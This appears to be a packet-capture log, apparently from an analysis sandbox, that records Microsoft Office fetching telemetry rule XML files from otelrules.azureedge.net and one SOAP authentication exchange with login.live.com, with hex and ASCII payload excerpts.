2024-11-15 15:16:33 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:33 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:33 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:33 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 4f50471b-101e-0079-73af-365913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151633Z-16547b76f7fwvr5dhC1DFW2c940000000n4000000000ntdg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:33 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:33 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:33 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4dbbda22-e01e-0033-5212-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151633Z-164f84587bfbvgrghC1DFWbs7w00000001d0000000009091 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:33 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:34 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49f8120e-101e-0046-25ca-3691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151634Z-164f84587bfdl84ghC1DFWbbhc00000001h000000000qccu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:34 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: eef1fd5d-a01e-006f-4c9a-3613cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151634Z-164f84587bfsqsthhC1DFWh63000000000h000000000aqhy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:34 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:34 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 314abd17-c01e-0034-010b-362af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151634Z-1866b5c5fbbvz6qbhC1DFWsyms00000000qg000000009fv3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:34 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 06fd63be-801e-008f-5e01-2d2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151634Z-16547b76f7fp6mhthC1DFWrggn0000000n9000000000trz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:34 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:34 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 93ee474a-d01e-0014-35af-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151634Z-1866b5c5fbbqmbqjhC1DFWwgvc00000000y000000000hk80 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49895	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:35 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-15 15:16:35 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-15 15:16:36 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 15 Nov 2024 15:15:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C521_BAY x-ms-request-id: 2badf959-bc13-49e0-8780-aa8d3d1d88db PPServer: PPV: 30 H: PH1PEPF0001B69C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 15 Nov 2024 15:16:35 GMT Connection: close Content-Length: 11392
2024-11-15 15:16:36 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:35 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:35 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: a5c21d46-701e-0050-7ca1-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151635Z-1866b5c5fbbqjkpbhC1DFWt4h400000001r0000000006bw2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:35 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:35 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:35 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: dfccd5b2-501e-00a3-0f60-35c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151635Z-164f84587bf28gjzhC1DFW35kg00000001eg0000000078x2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:35 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:35 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:35 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 31218528-d01e-0082-6eee-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151635Z-16547b76f7fmbrhqhC1DFWkds80000000n7000000000s5en x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
